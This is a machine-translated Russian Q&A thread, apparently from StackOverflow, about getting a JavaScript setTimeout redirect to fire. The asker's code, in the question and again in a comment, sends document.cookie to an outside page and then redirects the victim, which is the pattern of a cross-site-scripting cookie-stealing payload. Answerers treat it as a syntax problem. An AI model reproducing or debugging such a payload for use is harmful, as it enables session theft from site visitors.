2014-01-17 4 views
1

Я пытаюсь получить следующее для работы кода. Но это как раз не :(.Задача settimeout в javascript

Я испытал таймаут по себе, и он отлично работает (код строки 2), но не будет работать первая линия :(, любое руководство будет оценено.

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500); 

setTimeout(document.location='http://site/site/newpage',500); 

Я проверяю это внутри Firebug консоли (кстати)

+0

Что вы пытаетесь сделать? – bjb568

+0

Перед использованием новой функции прочитайте дополнительную документацию: https://developer.mozilla.org/en-US/docs/Web/API/Window.setTimeout. –

ответ

3

Изменение документа.location немедленно переместит вас на другую страницу.

setTimeout ожидает, что строка будет построена с новой функцией («строка») (не рекомендуется), указателем функции (рекомендуется) или анонимной функцией (рекомендуется).

Вы можете отправить анонимную функцию, как это:

setTimeout(function(){document.location='http://site/site/newpage'},500); 
+0

Привет, спасибо за ответ. Я попробовал это как 'document.location =" http: // site/site? Cookie = "+ document.cookie; setTimeout (function() {document.location = 'http: // site/site/newpage'}, 500); 'но он все еще не работал :( – LearningCode

0

Инкапсулируйте его в анонимную функцию.

setTimeout(function() { document.location.href ='http://etc/etc/';},500); 

(не забудьте HREF или использовать window.location возможно)

+0

спасибо, но это тоже не сработало. Может быть, мне нужно просто перенаправить на целевую страницу? – LearningCode

+0

Посмотрите, что вы делаете. Вы меняете местоположение страницы, а затем пытаетесь установить функцию тайм-аута, чтобы сделать это снова. Это логически не сработает, потому что ваша первая команда предназначена для перенаправления, вторая команда никогда не будет вызвана. –

0

Т.е. пошли для перенаправления на целевую страницу, а не, спасибо за всю помощь

if ($referer == TRUE){ 
header('Location: ' .$referer) ; 
}else { 
    header('Location: ' .$url[$urladdon]); 
} 
} 
Смежные вопросы